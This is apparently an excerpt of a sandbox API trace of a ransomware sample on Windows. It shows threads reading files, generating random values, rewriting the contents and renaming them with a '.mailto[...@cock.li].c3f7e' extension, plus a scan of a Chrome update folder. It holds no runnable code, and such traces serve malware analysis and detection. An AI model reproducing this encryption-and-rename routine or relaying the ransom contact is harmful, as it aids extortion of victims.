	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x87f602da
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x7632de5e
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xe19b1b83
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xbd868557
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x85359559
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xccde2e8e
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xf50d5dd1
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xbe24505a
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x46dbf318
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x64713280
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xd0bc9d6e
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xf8b2787c
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x96504695
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xb69aa3dc
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xcca3b1b7
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x41ff4f5
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x453db6a3
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x3eba85bb
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xed52fc0c
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x5ebb24ae
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xbe20d8c5
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x975772fe
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x6c665039
	[0086.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47948
	[0086.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0086.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fc07e0
	[0086.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0086.516] ReadFile (in: hFile=0x191c, lpBuffer=0x4fc07e0, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x29e3fc68, lpOverlapped=0x0 | out: lpBuffer=0x4fc07e0*, lpNumberOfBytesRead=0x29e3fc68*=0x8a4, lpOverlapped=0x0) returned 1
	[0086.516] SetFilePointerEx (in: hFile=0x191c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.516] WriteFile (in: hFile=0x191c, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x29e3fc64, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x29e3fc64*=0x8a4, lpOverlapped=0x0) returned 1
	[0087.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0087.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fc07e0) returned 1
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dabd98
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dab870
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x131) returned 0x481e928
	[0087.254] SetFilePointerEx (in: hFile=0x191c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.254] WriteFile (in: hFile=0x191c, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x29e3fccc, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x29e3fccc*=0x131, lpOverlapped=0x0) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabd98) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47808) returned 1
	[0087.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0087.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47948) returned 1
	[0087.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477ca40
	[0087.256] wcscpy (in: _Dest=0x477ca40, _Source="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png"
	[0087.256] wcscat (in: _Dest=0x477ca40, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.256] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29e3fc84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768c80
	[0087.256] NtSetInformationFile (FileHandle=0x191c, IoStatusBlock=0x29e3fc7c, FileInformation=0x4768c80, Length=0xe0, FileInformationClass=0xa) returned 0x0
	[0087.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0087.257] NtQueryInformationFile (in: FileHandle=0x191c, IoStatusBlock=0x29e3fc90, FileInformation=0x29e3fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29e3fc90, FileInformation=0x29e3fc68) returned 0x0
	[0087.257] NtSetInformationFile (FileHandle=0x191c, IoStatusBlock=0x29e3fc90, FileInformation=0x29e3fc68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0087.257] FlushFileBuffers (hFile=0x191c) returned 1
	[0093.118] CloseHandle (hObject=0x191c) 

Thread:
	id = 1200
	os_tid = 0x1f34

	[0086.517] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png")) returned 0x20
	[0086.517] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png", dwFileAttributes=0x20) returned 1
	[0086.517] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1920
	[0086.517] GetFileSizeEx (in: hFile=0x1920, lpFileSize=0x29ebfdfc | out: lpFileSize=0x29ebfdfc*=1822) returned 1
	[0086.517] SetFilePointerEx (in: hFile=0x1920, liDistanceToMove=0x71a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.517] ReadFile (in: hFile=0x1920, lpBuffer=0x29ebfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29ebfd7c, lpOverlapped=0x0 | out: lpBuffer=0x29ebfd80*, lpNumberOfBytesRead=0x29ebfd7c*=0x4, lpOverlapped=0x0) returned 1
	[0086.519] SetFilePointerEx (in: hFile=0x1920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0086.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.519] NtQuerySystemTime (in: CurrentTime=0x29ebfd5c | out: CurrentTime=0x29ebfd5c*=132251868132570113) returned 0x0
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xeb621751
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x9c081a09
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xde014109
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x517b357d
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xe8df8c68
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x6c496829
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xc27bc2f1
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x61a45466
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xcba67bbf
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xd00dcf13
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x6024e576
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x95921152
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x7846bc62
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xbecaec07
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xdb27abd4
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xf4197672
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x42b7cfe1
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x94345730
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x5b767d62
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x4a5721ac
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xde1a06fe
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xde4af4ec
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x3be29f7e
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xef6d5493
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xc8181768
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x575d6ee3
	[0086.519] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xfe8a5f85
	[0086.520] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x639edd24
	[0086.520] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xf0ee7c35
	[0086.520] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x81255943
	[0086.520] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0xcd86d47a
	[0086.520] RtlRandom (in: Seed=0x29ebfd68 | out: Seed=0x29ebfd68) returned 0x474c6921
	[0086.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479e8
	[0086.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04720
	[0086.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a10
	[0086.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04720) returned 1
	[0086.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0086.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04720
	[0086.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48e9030
	[0086.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48f5838
	[0086.530] ReadFile (in: hFile=0x1920, lpBuffer=0x48e9030, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x29ebfd58, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x29ebfd58*=0x71e, lpOverlapped=0x0) returned 1
	[0086.530] SetFilePointerEx (in: hFile=0x1920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.530] WriteFile (in: hFile=0x1920, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x29ebfd54, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x29ebfd54*=0x71e, lpOverlapped=0x0) returned 1
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04720) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x47819b8
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781878
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.259] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x500d048
	[0087.259] SetFilePointerEx (in: hFile=0x1920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.259] WriteFile (in: hFile=0x1920, lpBuffer=0x500d048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x29ebfdbc, lpOverlapped=0x0 | out: lpBuffer=0x500d048*, lpNumberOfBytesWritten=0x29ebfdbc*=0x101, lpOverlapped=0x0) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0087.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479e8) returned 1
	[0087.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a10) returned 1
	[0087.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x49867b8
	[0087.269] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\pass.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png"
	[0087.269] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.269] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29ebfd74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481af40
	[0087.269] NtSetInformationFile (FileHandle=0x1920, IoStatusBlock=0x29ebfd6c, FileInformation=0x481af40, Length=0xb0, FileInformationClass=0xa) returned 0x0
	[0087.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481af40) returned 1
	[0087.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0087.270] NtQueryInformationFile (in: FileHandle=0x1920, IoStatusBlock=0x29ebfd80, FileInformation=0x29ebfd58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29ebfd80, FileInformation=0x29ebfd58) returned 0x0
	[0087.270] NtSetInformationFile (FileHandle=0x1920, IoStatusBlock=0x29ebfd80, FileInformation=0x29ebfd58, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0087.270] FlushFileBuffers (hFile=0x1920) returned 1
	[0093.118] CloseHandle (hObject=0x1920) 

Thread:
	id = 1201
	os_tid = 0x1f38

	[0086.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477cda0
	[0086.531] wcscpy (in: _Dest=0x477cda0, _Source="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79"
	[0086.531] wcscat (in: _Dest=0x477cda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\"
	[0086.531] wcscat (in: _Dest=0x477cda0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*"
	[0086.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27a18
	[0086.531] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*", lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8a8
	[0086.532] wcscmp (_String1=".", _String2=".") returned 0
	[0086.532] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.532] wcscmp (_String1="..", _String2=".") returned 1
	[0086.532] wcscmp (_String1="..", _String2="..") returned 0
	[0086.532] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1
	[0086.532] wcscmp (_String1="61.0.3163.79_chrome_installer.exe", _String2=".") returned 1
	[0086.532] wcscmp (_String1="61.0.3163.79_chrome_installer.exe", _String2="..") returned 1
	[0086.532] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0
	[0086.532] FindClose (in: hFindFile=0x477a8a8 | out: hFindFile=0x477a8a8) returned 1
	[0086.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27a18) returned 1
	[0086.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cda0) returned 1
	[0086.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719600) returned 1

Thread:
	id = 1202
	os_tid = 0x1f3c

	[0086.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eb7f8
